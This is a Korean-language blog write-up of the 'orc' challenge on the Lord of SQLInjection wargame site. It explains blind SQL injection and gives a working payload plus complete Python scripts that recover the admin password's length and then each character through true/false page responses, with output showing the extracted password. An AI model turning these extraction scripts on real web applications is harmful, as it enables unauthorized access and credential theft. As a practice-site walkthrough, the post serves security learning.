SWLUG/์›น ํ•ดํ‚น

[los.rubiya.kr] orc

waterproof 2023. 10. 7. 01:06

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr


๋ฌธ์ œ ํ’€์ด์— ์ฐธ๊ณ ํ•œ ๋ธ”๋กœ๊ทธ: https://power-girl0-0.tistory.com/237

 

 

 

 

 

๋ฌธ์ œ ํ’€์ด ํ™”๋ฉด.

 

 

# ๋ฌธ์ œ ์กฐ๊ฑด

 

 

์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด ๋ฌธ์ œ๋ฅผ ํ’€๊ธฐ ์œ„ํ•ด ๋งŒ์กฑํ•ด์•ผ ํ•˜๋Š” ์กฐ๊ฑด์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");

 

์ฆ‰, $result['pw']๊ฐ€ ์กด์žฌํ•˜๊ณ  ์ด ๊ฐ’์ด ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ $_GET['pw']์™€ ์ผ์น˜ํ•ด์•ผ ๋ฌธ์ œ๊ฐ€ ํ’€๋ฆฐ๋‹ค.

 

 

 

 

# Blind SQL Injection

 

 

์ด ๋ถ€๋ถ„์„ ๋ณด๋ฉด, ์ด ๋ฌธ์ œ๋Š” Blind SQL Injection์„ ์ด์šฉํ•˜์—ฌ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ถ”์ธกํ•˜์—ฌ ํ’€์–ด์•ผ ํ•จ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

Blind SQL Injection์€ ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ์— ๋”ฐ๋ฅธ ์„œ๋ฒ„์˜ ์ฐธ๊ณผ ๊ฑฐ์ง“ ๋ฐ˜์‘์„ ํ†ตํ•ด ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•œ๋‹ค.

 

์—ฌ๊ธฐ์„œ๋Š” id๊ฐ€ admin์ผ ๋•Œ 'Hello admin'์ด ์ถœ๋ ฅ๋œ๋‹ค๋Š” ์ ์„ ํ™œ์šฉํ•˜์—ฌ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ถ”์ธกํ•œ๋‹ค.

 

 

# ์ฟผ๋ฆฌ

 

id๊ฐ€ ์ด๋ฏธ ์ž‘์„ฑ๋˜์–ด ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜๊ณ ,

 

'Hello admin'์„ ์ถœ๋ ฅํ•˜๊ธฐ ์œ„ํ•ด or ์—ฐ์‚ฐ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ฌธ์ž์—ด์„ ์ด์šฉํ•œ๋‹ค.

 

? pw=' or 1=1%23

 

์—ฌ๊ธฐ์„œ #์€ ์ฃผ์„์ฒ˜๋ฆฌ๋ฅผ ํ•˜๋Š”๋ฐ ์‚ฌ์šฉ๋˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— (์ธ์‹์ด ๋˜์ง€ ์•Š๋Š”๋‹ค) %23์„ ์‚ฌ์šฉํ•˜์—ฌ ์ฃผ์„ ์ฒ˜๋ฆฌํ•ด์ฃผ์—ˆ๋‹ค.

 

 

 

 

 

# ๋ฌธ์ œ ํ’€์ด์— ํ™œ์šฉํ•  requests ๋ชจ๋“ˆ์— ๋Œ€ํ•œ ์„ค๋ช…

 

requests ๋ชจ๋“ˆ์€ Python์—์„œ HTTP ์š”์ฒญ์„ ๋ณด๋‚ด๋Š”๋ฐ ์‚ฌ์šฉ๋˜๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ด๋‹ค.

 

์ด ๋ชจ๋“ˆ์„ ์‚ฌ์šฉํ•˜๋ฉด ์›นํŽ˜์ด์ง€๋ฅผ ์—ด๊ฑฐ๋‚˜ API์™€ ํ†ต์‹ ํ•  ์ˆ˜ ์žˆ๋‹ค.

requests ๋ชจ๋“ˆ์„ ์‚ฌ์šฉํ•˜๋ฉด ๊ฐ„๋‹จํ•˜๊ฒŒ GET ์š”์ฒญ, POST ์š”์ฒญ ๋“ฑ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

 

๋˜ํ•œ, ์ฟ ํ‚ค(Cookie)์™€ ์„ธ์…˜(Session)์„ ๋‹ค๋ฃจ๊ฑฐ๋‚˜ ํŒŒ์ผ ์—…๋กœ๋“œ, HTTP ํ—ค๋” ์„ค์ • ๋“ฑ ๋‹ค์–‘ํ•œ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•œ๋‹ค.

 

์˜ˆ๋ฅผ ๋“ค์–ด, ๋‹ค์Œ์€ requests ๋ชจ๋“ˆ์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ฐ„๋‹จํ•œ GET ์š”์ฒญ์„ ๋ณด๋‚ด๋Š” ์˜ˆ์ œ์ด๋‹ค:

 

import requests

response = requests.get('https://www.example.com')
print(response.text)  # ์›นํŽ˜์ด์ง€์˜ ๋‚ด์šฉ์„ ์ถœ๋ ฅ

 

์ด ์ฝ”๋“œ๋Š” https://www.example.com ์ฃผ์†Œ๋กœ GET ์š”์ฒญ์„ ๋ณด๋‚ด๊ณ , ์‘๋‹ต ๋‚ด์šฉ์„ ์ถœ๋ ฅํ•œ๋‹ค.

 

requests ๋ชจ๋“ˆ์€ ์›น ํฌ๋กค๋ง, API ์š”์ฒญ, ์›น ์„œ๋น„์Šค์™€์˜ ํ†ต์‹  ๋“ฑ ๋‹ค์–‘ํ•œ ์›น ๊ด€๋ จ ์ž‘์—…์„ ํ•  ๋•Œ ์œ ์šฉํ•˜๊ฒŒ ์‚ฌ์šฉ๋œ๋‹ค.

 

 

 

๋” ๋งŽ์€ ๋‚ด์šฉ: https://power-girl0-0.tistory.com/409

 

 

# ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ธธ์ด ๊ตฌํ•˜๊ธฐ

 

 

(requests ๋ชจ๋“ˆ์„ ์ฒ˜์Œ ์‚ฌ์šฉํ•œ๋‹ค๋ฉด ํ„ฐ๋ฏธ๋„์—์„œ pip install requests ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•ด์ฃผ๋„๋ก ํ•˜์ž.)

 

 

์ฒซ ๋ฒˆ์งธ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ์˜ ๊ธธ์ด๋ฅผ ์•Œ์•„๋‚ด๊ธฐ ์œ„ํ•œ ์ฝ”๋“œ์ด๋‹ค.

1๋ถ€ํ„ฐ ์‹œ์ž‘ํ•˜์—ฌ ๊ธธ์ด๋ฅผ ๋Š˜๋ ค๊ฐ€๋ฉฐ 'Hello admin'์ด ๋‚˜์˜ฌ ๋•Œ๊นŒ์ง€ ์‹œ๋„ํ•œ๋‹ค.

import requests

url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?'
cookies = {'PHPSESSID': '์ž์‹ ์˜ ์„น์…˜ id'}

len_num = 0

while 1:
    len_num += 1
    value = " 'or id='admin' and length(pw)={} #".format(len_num)
    params = {'pw': value}
    response = requests.get(url, params=params, cookies=cookies)

    if "Hello admin" in response.text:
        print("๋น„๋ฐ€๋ฒˆํ˜ธ ๊ธธ์ด : ", len_num)
        break

 

** ์ž์‹ ์˜ ์„น์…˜ id ๋ถ€๋ถ„์„ ๋ณธ์ธ์˜ PHPSESSID ๊ฐ’์œผ๋กœ ๋ฐ”๊ฟ”์„œ ๋„ฃ์–ด์•ผ ํ•œ๋‹ค.

 

 

 

 

# ๋น„๋ฐ€๋ฒˆํ˜ธ ์ถ”์ธก

 

๋‘ ๋ฒˆ์งธ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํ•œ ๊ธ€์ž์”ฉ ์ถ”์ธกํ•˜๋Š” ์ฝ”๋“œ์ด๋‹ค.

 

๊ฐ ๊ธ€์ž๋ฅผ ์•„์Šคํ‚ค ์ฝ”๋“œ๋กœ ๋ณ€ํ™˜ํ•˜์—ฌ ์‹œ๋„ํ•œ๋‹ค.

 

def ans_pw(len_num):
    pwd = ''
    for i in range(1, len_num+1):
        print(i, "๋ฒˆ์งธ ๊ฒ€์ƒ‰ ์ค‘")
        for ch in range(48, 122):
            value = " 'or id='admin' and ord(substr(pw,{},1))={} #".format(i, ch)
            params = {'pw': value}
            response = requests.get(url, params=params, cookies=cookies)

            if "Hello admin" in response.text:
                pwd += chr(ch)
                print("๋น„๋ฐ€๋ฒˆํ˜ธ : ", pwd)
                break

    return pwd

 

 

# ์ตœ์ข…์ ์œผ๋กœ ์‹คํ–‰ํ•  ์ฝ”๋“œ

 

 

import requests

url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?'
cookies={'PHPSESSID':'์ž์‹ ์˜ ์„น์…˜ id'}



def pw_len(): # ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ธธ์ด
    len_num = 0
    
    print("password ๊ธธ์ด ")
    while 1:
        len_num += 1
        value = " 'or id='admin' and length(pw)={} #".format(len_num)
        params = {'pw':value}
        response = requests.get(url,params=params, cookies=cookies)
        print(len_num)
        if "Hello admin" in response.text:
            print("password lenth : ",len_num)
            break
        
    return len_num

def ans_pw(len_num): #๋น„๋ฐ€๋ฒˆํ˜ธ ์œ ์ถ”
    pwd= ''
    for i in range(1, len_num+1): #๋น„๋ฐ€๋ฒˆํ˜ธ ๊ธธ์ด๋งŒํผ ๋ฐ˜๋ณต
        print(i,"๋ฒˆ์งธ ๊ฒ€์ƒ‰ ์ค‘")
        for ch in range(48,122): #์•„์Šคํ‚ค์ฝ”๋“œ 48๋ถ€ํ„ฐ 122๊นŒ์ง€ ๋ฐ˜๋ณต
            value = " 'or id='admin' and ord(substr(pw,{},1))={} #".format(i,ch) # ํ•œ๊ธ€์ž์”ฉ ์•„์Šคํ‚ค์ฝ”๋“œ ๋Œ€์ž…
            params = {'pw':value}
            response = requests.get(url,params=params, cookies=cookies)
            print(ch)
            if "Hello admin" in response.text:	# ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์ผ์น˜ํ•˜๋ฉด, ๋ฐ˜๋ณต์„ ์ •์ง€ํ•˜๊ธฐ ์œ„ํ•œ ์กฐ๊ฑด๋ฌธ
                pwd += chr(ch) #๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ˆœ์ฐจ์ ์œผ๋กœ ์ €์žฅ
                print("password : ", pwd)
                break
        
    return pwd

ans_pw(pw_len())

 

์œ„์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰์‹œํ‚ค๋ฉด

 

password ๊ธธ์ด 
1
2
3
4
5
6
7
8
password lenth :  8
1 ๋ฒˆ์งธ ๊ฒ€์ƒ‰ ์ค‘
48
password :  0
2 ๋ฒˆ์งธ ๊ฒ€์ƒ‰ ์ค‘
48
49
50
51
52
53
54
55
56
57
password :  09
3 ๋ฒˆ์งธ ๊ฒ€์ƒ‰ ์ค‘
48
49
50
51
52
53
password :  095
4 ๋ฒˆ์งธ ๊ฒ€์ƒ‰ ์ค‘
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
password :  095a
5 ๋ฒˆ์งธ ๊ฒ€์ƒ‰ ์ค‘
48
49
50
51
52
53
54
55
56
57
password :  095a9
6 ๋ฒˆ์งธ ๊ฒ€์ƒ‰ ์ค‘
48
49
50
51
52
53
54
55
56
password :  095a98
7 ๋ฒˆ์งธ ๊ฒ€์ƒ‰ ์ค‘
48
49
50
51
52
53
password :  095a985
8 ๋ฒˆ์งธ ๊ฒ€์ƒ‰ ์ค‘
48
49
50
password :  095a9852

 

password๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

๋ฌธ์ œ ํ’€์ด ์™„๋ฃŒ

'SWLUG > ์›น ํ•ดํ‚น' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack/๋“œ๋ฆผํ•ต] xss-1  (0) 2023.11.05
[Dreamhack/๋“œ๋ฆผํ•ต] DOM XSS  (0) 2023.11.05
[los.rubiya.kr] goblin  (1) 2023.10.06
[los.rubiya.kr] cobolt  (0) 2023.10.06
[LoS.Rubiya.kr] gremlin  (0) 2023.10.06